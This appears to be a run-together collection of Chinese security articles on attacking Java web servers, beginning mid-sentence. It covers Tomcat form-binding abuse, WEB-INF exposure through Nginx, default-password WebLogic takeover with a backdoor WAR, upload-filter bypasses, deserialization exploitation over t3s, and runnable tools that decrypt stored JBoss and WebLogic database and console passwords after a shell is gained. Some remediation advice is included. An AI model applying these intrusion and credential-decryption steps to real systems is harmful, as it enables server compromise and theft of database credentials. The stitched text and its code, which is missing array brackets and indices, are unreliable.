args) throws IntrospectionException, IllegalArgumentException, IllegalAccessException, InvocationTargetException { TestBean dto = new TestBean(); BeanInfo bi = Introspector.getBeanInfo(dto.getClass()); // BeanInfo bi = Introspector.getBeanInfo(dto.getClass(),Object.class); PropertyDescriptor
props = bi.getPropertyDescriptors(); for (int i = 0; i < props.length; i++) { System.out.println(props
.getName()); } BeanInfo bi = Introspector.getBeanInfo(dto.getClass()); } }
获取包括父类的所有属性,如图: 如果不想获取父类的属性.可以使用
#!java Introspector.getBeanInfo(dto.getClass(),Object.class);
其中第二个参数就是终止遍历到的父类(如:终止到基类Object),如图(这才是表单绑定实现正确的做法): 然后只要属性有set器,参数就会被填充,以及后面的Tomcat的一些属性被挂载到class.classLoader下等原因,然后Tomcat的属性被访问到并且赋值.然后才是发生上面的利用!

0x02 总结

任何使用commons-beanutils组件或内省(及反射)不安全实现表单参数绑定功能的框架,都会受影响(当然,我这里只测试了Tomcat,其他web容器感兴趣的也可以测试一下利用思路!). J2EE规范在现今使用极广了,但如果不是Struts2漏洞,或许很少有人关注Java安全,这点很是奇怪! Author: Nebula, HelloWorld security team

0x00 相关背景介绍

通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等! 例如:Nginx+ Tomcat的分层结构(在下文中,我们也使用此例说明相关问题) Nginx是一个高性能的 HTTP 和 反向代理 服务器 。 通常,我们是通过它来解决一些静态资源(如:图片、js及css等类型文件)访问处理。 Nginx详细介绍:
http://baike.baidu.com/view/926025.htm
Tomcat服务器是一个免费的开放源代码的j2ee Web 应用服务器。 其中,它有一个比较明显的性能缺陷,那就是在处理静态资源特别是图片类型的文件特别吃力。从而能与Nginx(Ningx在处理静态资源方面性能特别优秀) 成为好基友! Tomcat详细介绍:
http://baike.baidu.com/view/10166.htm

0x01 成因

但正是由于这种处理方式或分层架构设计,如果对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题(特别是在j2ee应用中表现更为严重)! 例如:Tomcat的WEB-INF目录,每个j2ee的web应用部署文件默认包含这个目录。 WEB-INF介绍:http://baike.baidu.com/view/1745468.htm 通常情况我们是无法通过Tomcat去访问它的,Tomcat的安全规范略中,它是一个受保护的目录。 为什么受保护了?我们来看看,它里面有什么:
classes目录(包含该应用核心的java类编译后的class文件及部分配置文件) lib目录(所用框架、插件或组件的架包) web.xml(重要的配置文件,它是开启攻击的一把钥匙,后面会讲到它)
以及其他自定义目录之文件 所以,它是j2ee应用一个非常重要的目录! 如果Nginx在映射静态文件时,把WEB-INF目录映射进去,而又没有做Nginx的相关安全配置(或Nginx自身一些缺陷影响)。从而导致通过Nginx访问到Tomcat的WEB-INF目录(请注意这里,是通过Nginx,而不是Tomcat访问到的,因为上面已经说到,Tomcat是禁止访问这个目录的。)。 造成这一情况的一般原因:是由于Nginx访问(这里可以说是均衡负载访问配置问题)配置不当造成的。通常,我们只会让Nginx把这些访问后缀的URL交给Tomcat,而这些后缀与j2ee及开发框架(或自定义框架)有关,如下:
.jsp .do .action .....等(或自定义后缀)
而其他大部分后缀类型的访问URL直接交给了Nginx处理的(包括:WEB-INF目录中一些比较重要的.xml和.class类型等,所以这里,如果你映射了整个根目录,还是可以通过Nginx的一些后缀访问配置,做些安全策略处理的!) 简单缺陷配置的两例,如图: 访问效果,如图:

0x02 攻击方式及危害

这种情况相信大家早已碰到过,但可能没有深入去关注过它,而且该问题还比较普遍存在一些大型站点应用中。由于j2ee应用一些自身特点,导致发生此情况时,它很容易受到攻击,如: web.xml配置文件,它是j2ee配置部署应用的起点配置文件,如果能够先访问到它,我们可以再结合j2ee的xml路径配置特点,如图: 根据web.xml配置文件路径或通常开发时常用框架命名习惯,找到其他配置文件或类文件路径。 反编译类后,再根据关联类文件路径,找到其他类文件。 如此下来,我们就可以获得整个应用几乎的所有核心代码及应用架构的相关信息等。 然后,我们再根据j2ee应用分层结构的流程或路线,很容易查找到应用中的一些逻辑、sql注射、XSS等相关漏洞,如图(图可能画得有点问题,但主要是说明问题): 而这个问题简单描述是:一个规范的私处如何在另一个规范中得到有效保护?所以这里并不是只有j2ee才会有此等危害,而是j2ee一些自身特点在此场景中的危害表现更为突出或明显!

0x03 实际案例

1、查找其他相关安全问题,轻松渗透:

去哪儿任意文件读取(基本可重构该系统原工程) WooYun: 去哪儿任意文件读取(基本可重构该系统原工程) j2ee分层架构安全(注册乌云1周年庆祝集锦) -- 点我吧 WooYun: j2ee分层架构安全(注册乌云1周年庆祝集锦) -- 点我吧

2、遍历一些大型站点的应用架构:

百度某应用beidou(北斗)架构遍历! WooYun: 百度某应用beidou(北斗)架构遍历! (" WooYun: 百度某应用beidou(北斗)架构遍历! ") 这里,还有其他情况也可能造成这一类似的安全问题,但同样可以根据上面的思路去很容易攻击它: 1、开启了目录浏览,如: WooYun: 乐视网众多web容器配置失误,导致核心应用架构及敏感信息暴露 2、 外层web容器的一些解析漏洞,在此处可利用,如:http://sebug.net/vuldb/ssvid-60439

0x04 修复方案

最好不要映射非静态文件目录或敏感目录。 或通过Nginx配置禁止访问一些敏感目录,如:j2ee应用的WEB-INF目录
location ~ ^/WEB-INF/* { deny all; }
或者至少禁止Nginx接收访问一些j2ee常用后缀文件的URL以减少危害,如:
.xml .class
等文件类型 注意一些外层web服务器的相关配置!

0x00 简介

此篇文章介绍攻击者如何利用默认密码对weblogic攻击。

Weblogic

WebLogic是美国bea公司出品的一个application server确切的说是一个基于Javaee架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

0x01 安装

有很多的weblogic服务器安装时采用默认密码。 这样会使攻击者很容易进入weblogic控制台获取相应权限。 默认的WebLogic管理员账号密码是 weblogic:weblogic WebLogic的默认端口是7001 Http://localhost:7001/console 下面列举了一些weblogic默认密码列表: http://cirt.net/passwords?criteria=weblogic 进入控制台界面:

0x02 Web应用

在控制台部署一个Web应用的方法:
Deploy => web application modules => Deploy a new Web Application Module... =>upload your file(s) => Deploy
Web应用中包含的模块: 必须要有一个servlet或者JSP 一个web.xml文件,它包含有关Web应用程序的信息 可以有一个weblogic.xml文件,包含了WebLogic服务器的web应用元素。

部署

攻击者上传一个backdoor.war

weblogic后门

例子: 寻找weblogic服务器可以有很多的方法 乌云上的实例: WooYun: 广东省社会保险基金管理局网站弱口令问题 WooYun: 江苏省财政厅弱口令

0x03 weblogic安全配置

http://download.oracle.com/docs/cd/E12890_01/ales/docs32/integrateappenviron/configWLS.html#wp1099454

0x01 最常见的两种错误

本文主要总结一下在利用Weblogic进行渗透时的一些错误的解决方法以及一些信息的收集手段。 上传war时拒绝访问,如下图 出现此种原因可能是因为管理对默认上传目录upload做了权限设置 用burp截取上传时的数据,修改upload为其他目录 上传后无法部署,出现java.util.zip.ZipException:Could not find End Of Central Directory,如下图(经过整理的错误信息) 原因分析: 出现此种原因是因为上传的时候没有使用二进制模式,而是采用的ASCII模式,导致上传的文件全部乱码 这是采用ASCII模式上传之后再下载下来的文件,全部乱码 而原本的文件应该是这个样子的 默认上传war的content-type为application/octet-stream或者application/x-zip-compressed (记不清了) 这两种模式本来应该为二进制上传模式的,但是却无缘无故变成了ASCII模式,原因未知(暂且认定为管理员的设置) 在二进制上传模式中,除了普通的程序,即content-type为application开头的,还有图片image开头 用burp抓取上传的数据content-type改成image/gif,还一定要加上文件头GIF89a,否则还是要出错,下图的那个filename为key1.gif仅为测试,实际上传还是以war结尾

0x02 其他的信息收集

拿到shell之后先找配置文件,一般在WEB-INF目录下,有些在WEB-INF/classes目录下,文件名一般以properties结尾。 还有一种是JDBC在Weblogic里面配置好的,如下图 这种的解密方式请参考解密JBoss和Weblogic数据源连接字符串和控制台密码 Weblogic还提供虚拟主机的功能,通过这个,可以收集到一些域名的信息,所属单位等,以便进一步通知处理。

0x03 进内网

由于Weblogic权限比较大,在Windows一般都是administrator,Linux则是weblogic用户,也有root权限的。 以上只是鄙人的个人见解,望各路大神指正

0x00 前言

目前在公开途径还没有看到利用JAVA反序列化漏洞控制开放HTTPS服务的weblogic服务器的方法,已公布的利用工具都只能控制开放HTTP服务的weblogic服务器。我们来分析一下如何利用JAVA反序列化漏洞控制开放HTTPS服务的weblogic服务器,以及相应的防护方法。 建议先参考修复weblogic的JAVA反序列化漏洞的多种方法中关于weblogic的JAVA反序列化漏洞的分析。

0x01 HTTPS服务的架构分析

如果某服务器需要对公网用户提供HTTPS服务,可以在不同的层次实现。

使用SSL网关提供HTTPS服务

当使用SSL网关提供HTTPS服务时,网络架构如下图所示(无关的设备已省略,下同)。 SSL网关只会向后转发HTTP协议的数据,不会将T3协议数据转发至weblogic服务器,因此在该场景中,无法通过公网利用weblogic的JAVA反序列化漏洞。

使用负载均衡提供HTTPS服务

当使用负载均衡提供HTTPS服务时,网络架构如下图所示。 安全起见,负载均衡应选择转发HTTP协议而不是TCP协议,因此在该场景中,也无法通过公网利用weblogic的JAVA反序列化漏洞。

使用web代理提供HTTPS服务

当使用web代理(如apache、nginx等)提供HTTPS服务时,网络架构如下图所示。 web代理只会向后转发HTTP协议的数据,因此在该场景中,也无法通过公网利用weblogic的JAVA反序列化漏洞。

使用weblogic提供HTTPS服务

当使用weblogic提供HTTPS服务时,网络架构如下图所示。 weblogic能够接收到利用SSL加密后的T3协议数据,因此在该场景中,通过公网能够利用weblogic的JAVA反序列化漏洞。 根据上述分析,仅当HTTPS服务由weblogic提供时,才能够利用其JAVA反序列化漏洞。

0x02 weblogic开放SSL服务时的T3协议格式分析

利用weblogic的JAVA反序列化漏洞时,必须向weblogic发送T3协议头。为了能够利用提供SSL服务的weblogic的JAVA反序列化漏洞,需要首先分析当weblogic提供SSL服务时的T3协议格式。 SSL数据包为加密的形式,无法直接进行分析,需要进行解密。当已知SSL私钥时,可以利用Wireshark对SSL通信数据进行解密。 weblogic可以使用演示SSL证书提供SSL服务,也可以使用指定SSL证书提供SSL服务。 可以使用两种方法进行分析,一是使用weblogic提供的演示SSL证书进行分析,二是使用自己生成的SSL证书进行分析。

使用weblogic演示证书进行分析(方法一)


使用weblogic演示证书开放SSL服务
登录weblogic控制台,将AdminServer的“启用SSL监听端口”钩选,并填入SSL监听端口号。 查看AdminServer的密钥库配置,确认为“演示标识和演示信任”(Demo Identity and Demo Trust),可以看到演示密钥库的文件名为“DemoIdentity.jks”,演示信任密钥库文件名为“DemoTrust.jks”。 查看AdminServer的SSL配置,可以看到演示密钥库的私钥别名为“DemoIdentity”。 使用HTTPS方式登录weblogic控制台,确认可以正常登录。
生成weblogic演示证书的私钥文件
以下为weblogic演示密钥库的密码信息。
Property|Value Trust store location|DemoTrust.jks文件,可在控制台查看 Trust store password|DemoTrustKeyStorePassPhrase Key store location|DemoIdentity.jks文件,可在控制台查看 Key store password|DemoIdentityKeyStorePassPhrase Private key password|DemoIdentityPassPhrase Private Key Alias|DemoIdentity,可在控制台查看
使用以下命令生成weblogic演示密钥库的私钥文件。
#!bash set keystore=DemoIdentity.jks set tmp_p12=tmp.p12 set storepass=DemoIdentityKeyStorePassPhrase set keypass=DemoIdentityPassPhrase set alias=DemoIdentity set pwd_new=123456 keytool -importkeystore -srckeystore %keystore% -destkeystore %tmp_p12% -srcstoretype JKS -deststoretype PKCS12 -srcstorepass %storepass% -deststorepass %pwd_new% -srcalias %alias% -destalias %alias% -srckeypass %keypass% -destkeypass %pwd_new% set out_pem=tmp.rsa.pem set final_pem=final.key openssl pkcs12 -in %tmp_p12% -nodes -out %out_pem% -passin pass:%pwd_new% openssl rsa -in %out_pem% -check > %final_pem%
最终生成的final.key即为weblogic演示密钥库的私钥文件。final.key的密钥格式为
-----BEGIN RSA PRIVATE KEY----- ...... -----END RSA PRIVATE KEY-----

修改weblogic停止脚本
需要修改weblogic的停止脚本“stopWebLogic.xx”,将ADMIN_URL字段的“t3”改为“t3s”,并在java调用weblogic.WLST类的JVM启动参数中加入“-Dweblogic.security.TrustKeyStore=DemoTrust”,使weblogic在调用停止脚本时使用演示证书,否则会出现证书不被信任的错误。

使用自定义证书进行分析(方法二)


生成自定义密钥库
使用以下命令生成自定义密钥库。
#!bash set keystore=keystore.jks set alias=server set pwd=123456 set url=url-test set validity=7300 keytool -genkey -alias %alias% -keyalg RSA -keysize 2048 -keystore %keystore% -storetype jks -storepass %pwd% -keypass %pwd% -dname "CN=%url%, OU=companyName, O=companyName, L=cityName, ST=provinceName, C=CN" -validity %validity%
生成的密钥库名称为keystore.jks,密钥库密码与私钥密码均为“123456”。
使weblogic使用指定的密钥库
将上述步骤生成的密钥库文件keystore.jks复制到weblogic的domain目录中。 登录weblogic控制台,在AdminServer的密钥库界面,选择密钥库类型为“定制标识和 Java 标准信任”(Custom Identity and Java Standard Trust),定制标识密钥库输入“keystore.jks”,定制标识密钥库类型输入“JKS”,定制标识密钥库密码短语与确认定制标识密钥库密码短语输入“123456”,保存上述修改。 在AdminServer的SSL界面,私有密钥别名输入“server”,私有密钥密码短语与确认私有密钥密码短语输入“123456”。 使用HTTPS对应的URL打开weblogic控制台,确保可以正常登录,查看证书信息如下。
将自定义证书导入java信任密钥库中
在上一步骤中可以看到Java标准信任密钥库对应的文件为weblogic的JDK目录中的“jdk\jre\lib\security\cacerts”文件,密钥类型也是JKS。 当weblogic作为SSL客户端连接服务器时,会检查服务器的证书链是否与weblogic的JDK目录中的cacerts文件匹配。 需要将自定义证书的公钥导入weblogic的JDK目录中的cacerts文件中,否则在调用weblogic停止脚本时,会由于证书不受信任而失败。 使用以下命令导出自定义证书的公钥。
set keystore=keystore.jks set alias=server set pwd=123456 set exportcert=export.cer keytool -export -alias %alias% -keystore %keystore% -file %exportcert% -storepass %pwd%
导出的公钥文件为export.cert。 使用以下命令将公钥导入weblogic的JDK目录的cacerts文件中,在导入前需要备份cacerts。cacerts密钥库的默认密码为changeit,可进行修改。
#!bash set keystore=cacerts set alias=server set pwd=changeit set cert=export.cer keytool -import -alias %alias% -keystore %keystore% -trustcacerts -storepass %pwd% -file %cert%
生成自定义证书的私钥文件 使用以下命令生成自定义证书的私钥文件。
#!bash set keystore=keystore.jks set tmp_p12=tmp.p12 set storepass=123456 set keypass=123456 set alias=server set pwd_new=123456 keytool -importkeystore -srckeystore %keystore% -destkeystore %tmp_p12% -srcstoretype JKS -deststoretype PKCS12 -srcstorepass %storepass% -deststorepass %pwd_new% -srcalias %alias% -destalias %alias% -srckeypass %keypass% -destkeypass %pwd_new% set out_pem=tmp.rsa.pem set final_pem=final.key openssl pkcs12 -in %tmp_p12% -nodes -out %out_pem% -passin pass:%pwd_new% openssl rsa -in %out_pem% -check > %final_pem%
最终生成的final.key即为自定义证书的私钥文件。 修改weblogic停止脚本 需要修改weblogic的停止脚本“stopWebLogic.xx”,将ADMIN_URL字段的“t3”改为“t3s”,并在java调用weblogic.WLST类的JVM启动参数中加入“-Dweblogic.security.TrustKeyStore=DemoTrust”。 除了以上修改外,还需在停止脚本的JVM启动参数中加入“-Dweblogic.security.SSL.ignoreHostnameVerification=true”,避免因自定义证书中的地址与停止脚本实际访问的ssl服务的地址不一致而出现错误。

调用weblogic停止脚本并抓包

前文中已将weblogic的停止脚本“stopWebLogic.xx”中的访问链接改为t3s协议,会使用SSL协议进行通信。 需要调用weblogic的停止脚本并进行抓包。由于停止脚本会与同一台机器的weblogic通信,在Linux环境中抓包较为方便,需要使用tcpdump对Loopback对应的网卡进行抓包。

使用Wireshark解密SSL通信数据

前文已生成了weblogic的私钥文件,并对weblogic停止脚本调用过程进行了抓包,可以使用Wireshark解密对应的SSL通信数据。 首先在Wireshark中设置需要使用的私钥文件,打开Wireshark菜单的“Edit->Preferences”,打开“Protocols->SSL”,点击“RSA keys list”旁的“Edit”按钮,如下图。 添加一行配置,IP为weblogic服务器的IP,Port为weblogic的SSL监听端口,Protocol为tcp,Key File为之前已生成的weblogic的SSL证书的私钥文件。 使用Wireshark打开抓包文件,可以看到原本为加密形式的通信数据有部分已被解密,找到T3协议头相关数据,可以看到停止脚本向weblogic发送的T3协议头以“t3s”开头。 服务器返回的数据如下。 费了老大的劲,才发现原来weblogic开放HTTPS服务后,t3协议头的前几个字节由“t3”变成了“t3s”。 以上步骤在Linux环境的weblogic 10.3.4测试成功。

JAVA反序列化漏洞调用过程

当weblogic开放HTTPS服务时,JAVA反序列化漏洞的调用过程如下。
#!bash at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:203) at org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry.setValue(AbstractInputCheckedMapDecorator.java:191) at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:334) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:597) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:974) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1849) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1753) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1329) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:351) at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:65) at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:37) at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283) at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:210) at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498) at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:330) at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:298) at weblogic.socket.SSLFilterImpl.dispatch(SSLFilterImpl.java:258) at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:950) at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:898) at weblogic.socket.PosixSocketMuxer.processSockets(PosixSocketMuxer.java:130) at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29) at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42) at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145) at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117)

0x03 如何控制开放HTTPS服务的weblogic服务器

如何发送T3协议数据

利用weblogic的JAVA反序列化漏洞时,必须向weblogic发送T3协议头。当weblogic开放HTTPS服务时,向其发送的T3协议头应以“t3s”开头。向weblogic发送数据时应使用SSL协议,且不应对服务器的证书进行验证。 无论weblogic开放HTTP服务还是HTTPS服务,在向weblogic发送利用JAVA反序列化漏洞的序列化数据时,数据内容不需要改变。

如何调用weblogic的RMI服务

可以利用weblogic的JAVA反序列化数据使weblogic在服务器生成指定的jar文件并加载,在jar文件中开启weblogic的RMI服务,可以从公网直接调用,能够控制服务器。 当weblogic开放HTTPS服务时,调用weblogic的RMI服务时有几点需要进行修改。 在调用weblogic的RMI服务时,使用的URL应改为以“t3s”开头; 在调用weblogic的RMI服务时,客户端需要引入weblogic.jar。使用t3s协议时,weblobic.jar会尝试从当前目录读取weblogic授权文件license.bea,需要保证weblogic.jar能正确地读取该文件; weblogic.jar中会对服务器证书进行验证,判断其是否为可信证书。由于可能遇到服务器的证书未经过CA认证,因此需要修改证书验证的相关代码,忽略证书未经认证的问题; JVM启动参数需要增加“-Dweblogic.security.SSL.ignoreHostnameVerification=true”,避免因自定义证书中的地址与停止脚本实际访问的ssl服务的地址不一致而出现错误。

0x04 可行的漏洞修复方法

将SSL服务转移至其他设备

将SSL服务转移至weblogic服务器外层的设备实现,如SSL网关、负载均衡、单独部署的web代理等,将HTTP请求转发至weblogic,可以修复JAVA反序列化漏洞。
优点|缺点 对系统影响小,不需测试对现有系统功能的影响|需要对SSL证书进行格式转换;需要购买设备;无法防护从内网发起的JAVA反序列化漏洞攻击

将SSL服务转移至weblogic服务器的web代理

在weblogic所在服务器安装web代理应用,如apache、nginx等,将SSL服务转移至web代理应用,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,可以修复JAVA反序列化漏洞。
优点|缺点 对系统影响小,不需测试对现有系统功能的影响;不需要购买设备|需要对SSL证书进行格式转换;无法防护从内网发起的JAVA反序列化漏洞攻击;会增加服务器的性能开销

将SSL服务转移至weblogic服务器的web代理并修改weblogic的监听IP

将weblogic的监听地址修改为“127.0.0.1”或“localhost”,只允许本机访问weblogic服务。 在weblogic所在服务器安装web代理应用,如apache、nginx等,将SSL服务转移至web代理应用,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,可以修复JAVA反序列化漏洞。web代理的监听IP需设置为“0.0.0.0”,否则其他服务器无法访问。 需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”,否则停止脚本将不可用。
优点|缺点 对系统影响小,不需测试对现有系统功能的影响;不需要购买设备;能够防护从内网发起的JAVA反序列化漏洞攻击|需要对SSL证书进行格式转换;会增加服务器的性能开销

修改weblogic的代码

weblogic处理T3S协议的类为“weblogic.rjvm.t3.MuxableSocketT3S”,继承自“weblogic.rjvm.t3.MuxableSocketT3”类,且MuxableSocketT3S类中没有对dispatch方法进行重写,因此可以采用与修复weblogic的JAVA反序列化漏洞的多种方法中“修改weblogic的代码”部分相同的修复方法。具体步骤略。
优点|缺点 不需要对SSL证书进行格式转换;对系统影响小,不需测试对现有系统功能的影响;不需要购买设备;能够防护从内网发起的JAVA反序列化漏洞攻击;不会增加服务器的性能开销|存在商业风险,可能给oracle的维保带来影响

0x05 结束

无论weblogic服务器开放HTTP服务还是HTTPS服务,都是有可能利用JAVA反序列化漏洞控制服务器的。JAVA反序列化漏洞的影响,应该会持续很长的时间。

0x00 背景

现在越来越多的站喜欢用java语言的框架做web应用了,这里应用有很多大型站点经常采用jboss或者weblogic做web服务器。出于安全原因,他们都提供把数据源连接密码以及web服务器后台密码加密的功能,jboss用的是blowfish,weblogic旧版的加密算法一般为3DES,新版的则都是AES。 这几种加密算法都是可逆的,因为在web服务器连接到数据库的时候还是要把密码解密成明文之后发过去或者和challenge运算的,所以我们有了两个突破口,第一个就是,解密后的明文密码必然保留在内存中,如果把web服务器的内存空间dump下来分析是肯定可以找到明文密码的,这个方法在前段时间hip发的memory forensic文章里有涉及到。第二个方法就是,调用服务器程序自身的解密函数,让它把明文echo出来。

0x01 JBoss解密

jboss的数据库连接密码一般存在
%JBOSS_HOME%\server\%appname%\deploy
下面的各种xml里面,比如oracle的是oracle-ds.xml,mysql是mysql-ds.xml…… 在没有加密的情况下,密码是这么保存的:
OracleDS //jndi名字 false jdbc:oracle:thin:@localhost:1521:orcl //URL地址 oracle.jdbc.driver.OracleDriver //驱动 root //用户名 123456 //密码
在配置完密码加密后,这个文件里要么没有username和password,要么被comment掉了。下面多了个EncryptDBPassword 加密后的密码存在jboss目录的conf/login-config.xml文件里:
admin 5dfc52b51bd35553df8592078de921bc jboss.jca:name=PostgresDS,service=LocalTxCM
5dfc52b51bd35553df8592078de921bc就是加密后的密文了,有的时候前面还有个符号,也是密文的一部分。 jboss用来加密的key是明文硬编码在jboss源码里的,key是jaas is the way 解密过程: 找个能编译java的环境或者在线的java编译执行网站:编译以下代码:
import java.math.BigInteger; /* * JBoss.java - Blowfish encryption/decryption tool with JBoss default password * Daniel Martin Gomez - 03/Sep/2009 * * This file may be used under the terms of the GNU General Public License * version 2.0 as published by the Free Software Foundation: * http://www.gnu.org/licenses/gpl-2.0.html */ import javax.crypto.*; import javax.crypto.spec.SecretKeySpec; public class JBoss { public static void main(String
args) throws Exception { if ((args.length != 2) || !(args
.equals("-e") | args
.equals("-d"))) { System.out.println( "Usage:\n\tjava JBoss <-e|-d> "); return; } String mode = args
; byte
kbytes = "jaas is the way".getBytes(); SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish"); Cipher cipher = Cipher.getInstance("Blowfish"); String out = null; if (mode.equals("-e")) { String secret = args
; cipher.init(Cipher.ENCRYPT_MODE, key); byte
encoding = cipher.doFinal(secret.getBytes()); out = new BigInteger(encoding).toString(16); } else { BigInteger secret = new BigInteger(args
, 16); cipher.init(Cipher.DECRYPT_MODE, key); byte
encoding = cipher.doFinal(secret.toByteArray()); out = new String(encoding); } System.out.println(out); } }
编译后执行,用 -d参数解密,比如
java JBoss -d 5dfc52b51bd35553df8592078de921bc
就会返回明文密码。

0x02 Weblogic解密

weblogic要稍微复杂一些,jboss的加密函数是java代码里面的,但是weblogic是自己写的,所以解密程序也需要调用weblogic的代码包。WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。另外,每个Weblogic app的加密key都是随机生成的,所以不同服务器甚至同服务器不同应用上的weblogic都是用不同的密码加密的,这一点上比jboss安全很多。但是,毕竟连数据库的时候还是要还原,所以还是可以解密的。解密过程如下: 加密key都保存在securitySerializedSystemIni.dat 文件中,比如 weblogic安装目录
\user_projects\domains\APPNAME\securitySerializedSystemIni.dat
有些版本是放到security目录里的,一个应用里面只会有一个这个文件,find一下就找到了。 找到后把它复制到其他的文件夹,比如\tmp下面 在这个文件夹下新建一个java文件,Decrypt.java,名字不能错,必须和内容的class名字一样。
import weblogic.security.internal.*; import weblogic.security.internal.encryption.*; import java.io.PrintStream; public class Decrypt { static EncryptionService es = null; static ClearOrEncryptedService ces = null; public static void main(String
args) { String s = null; if (args.length == 0) { s = ServerAuthenticate.promptValue("Password: ", false); } else if (args.length == 1) { s = args
; } else { System.err.println("Usage: java Decrypt
"); } es = SerializedSystemIni.getExistingEncryptionService(); if (es == null) { System.err.println("Unable to initialize encryption service"); return; } ces = new ClearOrEncryptedService(es); if (s != null) { System.out.println("\nDecrypted Password is:" + ces.decrypt(s)); } } }
根据目标的操作系统,在weblogic目录中找到setWLSEnv.cmd 或者 setWLSEnv.sh 并且执行。执行后会出来一长串环境变量,分别是CLASSPATH和PATH。但是有些情况下这些环境变量没有加进去,所以还需要执行一下(linux下,windows一般不会出现这个情况)
export $CLASSPATH
如果这个命令执行完也出来一串东西,那就说明环境变量设置正确,如果没有的话,则需要在shell里手动执行。把之前执行setWLSEnv.sh出来的两个环境变量分别复制然后 export一下就行。再执行以下export $CLASSPATH确认是否加上了。成功后就可以进行下一步了。 weblogic的数据库字符串一般存在weblogic下面应用目录的conf里面,也是xml格式,加密后的密码格式为
{AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=
或者
{3DES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=
到之前放Decrypt.java的目录执行 javac Decrypt.java 然后执行 java Decrypt 加密后密码,比如
java Decrypt {AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=
执行完后就会告诉你 Decrypted Password is : weblogic weblogic的控制台密码也是用同样的方式加密的。

0x00 前言

关于JAVA的Apache Commons Collections组件反序列漏洞的分析文章已经有很多了,当我看完很多分析文章后,发现JAVA反序列漏洞的一些要点与细节未被详细描述,还需要继续分析之后才能更进一步理解并掌握这个漏洞。 上述的要点与细节包括: 为什么需要使用JAVA反射机制 为什么需要利用sun.reflect.annotation.AnnotationInvocationHandler类 为什么调用TransformedMap类的decorate方法时,参数一的Map对象需要put进"value"与非空的值* 为什么AnnotationInvocationHandler类的实例化参数一需要为java.lang.annotation.Retention类 为了方便和我一样的小白们理解这个漏洞,我将JAVA反序列化漏洞完整过程的分析与调试进行了整理。分析过程中利用的类为TransformedMap与AnnotationInvocationHandler。发现漏洞不是我等小白能力所及,因此本文不以挖掘漏洞的角度来进行分析,而是在已知漏洞存在的情况下分析漏洞。

0x01 基础知识

JAVA序列化与反序列化


JAVA序列化简介
为了分析JAVA的反序列化漏洞,首先需要了解JAVA的序列化与反序列化机制。 以下内容来自JDK1.6 API文档中对ObjectOutputStream的说明。

ObjectOutputStream 将 Java 对象的基本数据类型和图形写入 OutputStream。可以使用 ObjectInputStream 读取(重构)对象。通过在流中使用文件可以实现对象的持久存储。如果流是网络套接字流,则可以在另一台主机上或另一个进程中重构对象。 只能将支持 java.io.Serializable 接口的对象写入流中。每个 serializable 对象的类都被编码,编码内容包括类名和类签名、对象的字段值和数组值,以及从初始对象中引用的其他所有对象的闭包。 writeObject 方法用于将对象写入流中。所有对象(包括 String 和数组)都可以通过 writeObject 写入。可将多个对象或基元写入流中。必须使用与写入对象时相同的类型和顺序从相应 ObjectInputstream 中读回对象。

即使用ObjectOutputStream.writeObject方法可对实现了Serializable接口的对象进行序列化,序列化后的数据可存储在文件中,或通过网络传输。

JAVA反序列化简介

以下内容来自JDK1.6 API文档中对ObjectInputStream的说明。

